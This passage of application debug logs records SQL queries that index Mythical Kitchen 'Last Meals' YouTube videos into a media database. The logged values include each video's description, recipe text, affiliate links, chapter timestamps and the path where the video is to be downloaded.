https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Peyton List Eats Her Last Meal", "04af809b-17ac-49db-a446-64150b6b69ca", "https://www.youtube.com/watch?v=ZpREYArDzQY", false, "ZpREYArDzQY", 1566, false, 64, "/downloads/Last Meals/2023-04-18 Peyton List Eats Her Last Meal/Peyton List Eats Her Last Meal [ZpREYArDzQY].mp4", false, false, 1, [], 1, ~U[2023-04-18 10:00:25Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Josh is cooking Peyton List's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Peyton List Eats Her Last Meal", "https://www.youtube.com/watch?v=ZpREYArDzQY", "ZpREYArDzQY", 1566, false, "/downloads/Last Meals/2023-04-18 Peyton List Eats Her Last Meal/Peyton List Eats Her Last Meal [ZpREYArDzQY].mp4", false, 1, ~U[2023-04-18 10:00:25Z]] 20:49:32.337 [debug] QUERY OK source="sources" db=0.0ms idle=2.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.337 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-10-28 10:00:09Z], 1] 20:49:32.341 [debug] QUERY OK source="media_items" db=3.3ms idle=1.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking the meal he would want on death row. MK # 086\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/ga4DVQDMoi7pL1GcA\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nTime Codes:\n--------------------------\nFirst Course - 1:15\nSecond Course - 6:38\nThird Course - 11:44\n\nRecipe:\n--------------------------\nStep 1: Make the shrimp cocktail\nIngredients\n* Jumbo shrimp\n* Peppercorns\n* Salt\n* Garlic\n* Lemons\n* Bay leaf\n* Parsley\n* Dashi concentrate\n* Ice bath\nSauce\n* Ketchup\n* Worcestershire\n* Lemon\n* Hot sauce\n* Horseradish\n\n1) Peel and devein the shrimp.\n2) Toast peppercorns in the pot then add water, dashi concentrate, garlic, bay leaf, salt, and parsley.\n3) Add the shrimp and boil for a two minutes then pull and add to an ice bath,\n4) While shrimp is icebathing, whisk together the stuff for the cocktail sauce.\n5) Plate it.\n\nEquipment\n* Large saucepot\n* Spider\nI* ce bath in mixing bowl\n* Whisk\n* Medium mixing bowl\n* Martini glass filled with shredded iceberg lettuce\n\nStep 2: Make the garlic bread with ranch\nIngredients\n* 1 loaf ciabatta bread (preferably long, like a baguette)\n* Softened unsalted butter\n* 5 garlic cloves\n* Garlic powder\n* Chopped parsley\n* Salt and pepper\n* Ranch\n* Mayonnaise\n* Sour cream\n* Worcestershire\n* Red wine vinegar\n* Chopped parsley\n* Chopped chives\n* Dill\n* Black pepper\n* Crumbled Humboldt fog cheese\n* Milk\n\n1) Heat the oven to 500 degrees and cut the loaf of bread in half.\n2) Grate the garlic cloves into the butter then add garlic powder, black pepper, salt, and parsley.\n3) Spread the butter thickly on the bread and toast it for 8 minutes.\n4) Whisk all the ranch things together,\n\nEquipment\n* 2 medium mixing bowls\n* Whisk\n* Silicone spatula\n* Little condiment bowl\n* Baking sheet + rack\n\nStep 3: Carne asada burrito\nIngredients\n* 1 lb nice-ass rib-eye steak\n* Salt\n* Pepper\n* Paprika\n* Onion powder\n* Garlic\n* Chili powder\n* 2 ripe avocados\n* Chopped white onion\n* Chopped cilantro\n* Chopped jalapeno\n* Lime wedges\n* Shredded jack cheese\n1 Burrito Grande riquisimas tortilla\n1 bowl pico de gallo\n* Bottle of arizona gunslinger hot sauce\n\n1) Finely dice rib eye and add seasonings to it. Mash it together with your hands.\n2) Put avocado into a bowl and add lime juice, salt, onion, jalapeno, and cilantro. \n3) Heat veg oil in a cast iron on high heat and add the steak. Cook until nicely charred for ab" <> ..., "Josh Eats His Last Meal", "d81a91e5-42be-46b5-a98f-b56737213cf1", "https://www.youtube.com/watch?v=IzrU7pGbusU", false, "IzrU7pGbusU", 1317, false, 65, "/downloads/Last Meals/2021-10-28 Josh Eats His Last Meal/Josh Eats His Last Meal [IzrU7pGbusU].mp4", false, false, 1, [], 1, ~U[2021-10-28 10:00:09Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Josh is cooking the meal he would want on death row. MK # 086\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/ga4DVQDMoi7pL1GcA\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nTime Codes:\n--------------------------\nFirst Course - 1:15\nSecond Course - 6:38\nThird Course - 11:44\n\nRecipe:\n--------------------------\nStep 1: Make the shrimp cocktail\nIngredients\n* Jumbo shrimp\n* Peppercorns\n* Salt\n* Garlic\n* Lemons\n* Bay leaf\n* Parsley\n* Dashi concentrate\n* Ice bath\nSauce\n* Ketchup\n* Worcestershire\n* Lemon\n* Hot sauce\n* Horseradish\n\n1) Peel and devein the shrimp.\n2) Toast peppercorns in the pot then add water, dashi concentrate, garlic, bay leaf, salt, and parsley.\n3) Add the shrimp and boil for a two minutes then pull and add to an ice bath,\n4) While shrimp is icebathing, whisk together the stuff for the cocktail sauce.\n5) Plate it.\n\nEquipment\n* Large saucepot\n* Spider\nI* ce bath in mixing bowl\n* Whisk\n* Medium mixing bowl\n* Martini glass filled with shredded (truncated) 20:49:32.341 [debug] QUERY OK source="sources" db=0.0ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.341 [debug] QUERY OK source="media_items" db=0.1ms idle=4.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-09 10:01:25Z], 1] 20:49:32.342 [debug] QUERY OK source="media_items" db=0.9ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Ed Sheeran eats his last meal.\n\nGood Mythical Evening is blasting off October 23rd at 10PM EST / 7PM PST. Get your tickets NOW at https://mythic.al/GME\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n0:00 Ed's Last Meal\n0:30 Wanted For Theft\n1:04 Have You Thought About Your Last Meal Before?\n1:38 How Often Do You Think About Death?\n2:27 1st Course\n6:08 Ed's New Album, PLAY\n6:41 Music Is A Passport\n9:30 Family On Tour\n11:14 2nd Course\n12:00 Society Likes An Underdog Story\n12:56 People Have Their Mind Made Up\n14:35 The Little Kid Inside\n16:15 3rd Course\n18:09 What Would Be Your Final Album?\n20:06 Finding Balance With Alcohol\n21:52 Ed's Favorite Book Series\n24:15 4th Course\n27:59 Death & Grief\n31:35 Songwriting Through Feelings\n32:35 Having A Will (It's An Album)\n34:09 Lightning Round\n36:37 Ed's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Ed Sheeran Eats His Last Meal", "2ae497b0-c3ec-497b-943c-e0fba212ead1", "https://www.youtube.com/watch?v=sYlEkm9bcRU", false, "sYlEkm9bcRU", 2257, false, 66, "/downloads/Last Meals/2025-10-09 Ed Sheeran Eats His Last Meal/Ed Sheeran Eats His Last Meal [sYlEkm9bcRU].mp4", false, false, 1, [], 1, ~U[2025-10-09 10:01:25Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Ed Sheeran eats his last meal.\n\nGood Mythical Evening is blasting off October 23rd at 10PM EST / 7PM PST. Get your tickets NOW at https://mythic.al/GME\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n0:00 Ed's Last Meal\n0:30 Wanted For Theft\n1:04 Have You Thought About Your Last Meal Before?\n1:38 How Often Do You Think About Death?\n2:27 1st Course\n6:08 Ed's New Album, PLAY\n6:41 Music Is A Passport\n9:30 Family On Tour\n11:14 2nd Course\n12:00 Society Likes An Underdog Story\n12:56 People Have Their Mind Made Up\n14:35 The Little Kid Inside\n16:15 3rd Course\n18:09 What Would Be Your Final Album?\n20:06 Finding Balance With Alcohol\n21:52 Ed's Favorite Book Series\n24:15 4th Course\n27:59 Death & Grief\n31:35 Songwriting Through Feelings\n32:35 Having A Will (It's An Album)\n34:09 Lightning Round\n36:37 Ed's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Ed Sheeran Eats His Last Meal", "https://www.youtube.com/watch?v=sYlEkm9bcRU", "sYlEkm9bcRU", 2257, false, "/downloads/Last Meals/2025-10-09 Ed Sheeran Eats His Last Meal/Ed Sheeran Eats His Last Meal [sYlEkm9bcRU].mp4", false, 1, ~U[2025-10-09 10:01:25Z]] 20:49:32.342 [debug] QUERY OK source="sources" db=0.0ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.342 [debug] QUERY OK source="media_items" db=0.1ms idle=1.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-12-05 11:00:50Z], 1] 20:49:32.343 [debug] QUERY OK source="media_items" db=0.7ms idle=1.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Aaron Taylor-Johnson's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Aaron's Last Meal\n0:31 Saving Dog's Lives\n1:54 Have You Thought About Your Last Meal Before?\n2:32 1st Course\n4:41 The Dichotomy Of Drama And Fun\n6:58 Embodying A Movie Star\n8:25 Childhood Beginnings\n9:57 Acting Is Theraputic\n10:58 2nd Course\n13:12 Freezer Food To Caviar\n15:23 Being A Father\n16:53 3rd Course\n18:00 Diet & Training for Kraven The Hunter\n21:31 Humans Crave Struggle\n22:45 Acting As Escapism\n24:45 Being A Role Model\n26:07 4th Course\n27:11 Josh Learns About Pancake Day\n28:53 Marrying An Artist\n30:40 Love & Legacy\n31:36 Lightning Round\n34:43 Aaron's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Aaron Taylor-Johnson Eats His Last Meal", "3a7bab8c-6171-4c56-bae6-9e4dc27cc59f", "https://www.youtube.com/watch?v=gbNeBNx8_Yk", false, "gbNeBNx8_Yk", 2125, false, 67, "/downloads/Last Meals/2024-12-05 Aaron Taylor-Johnson Eats His Last Meal/Aaron Taylor-Johnson Eats His Last Meal [gbNeBNx8_Yk].mp4", false, false, 1, [], 1, ~U[2024-12-05 11:00:50Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Josh is cooking Aaron Taylor-Johnson's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Aaron's Last Meal\n0:31 Saving Dog's Lives\n1:54 Have You Thought About Your Last Meal Before?\n2:32 1st Course\n4:41 The Dichotomy Of Drama And Fun\n6:58 Embodying A Movie Star\n8:25 Childhood Beginnings\n9:57 Acting Is Theraputic\n10:58 2nd Course\n13:12 Freezer Food To Caviar\n15:23 Being A Father\n16:53 3rd Course\n18:00 Diet & Training for Kraven The Hunter\n21:31 Humans Crave Struggle\n22:45 Acting As Escapism\n24:45 Being A Role Model\n26:07 4th Course\n27:11 Josh Learns About Pancake Day\n28:53 Marrying An Artist\n30:40 Love & Legacy\n31:36 Lightning Round\n34:43 Aaron's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: 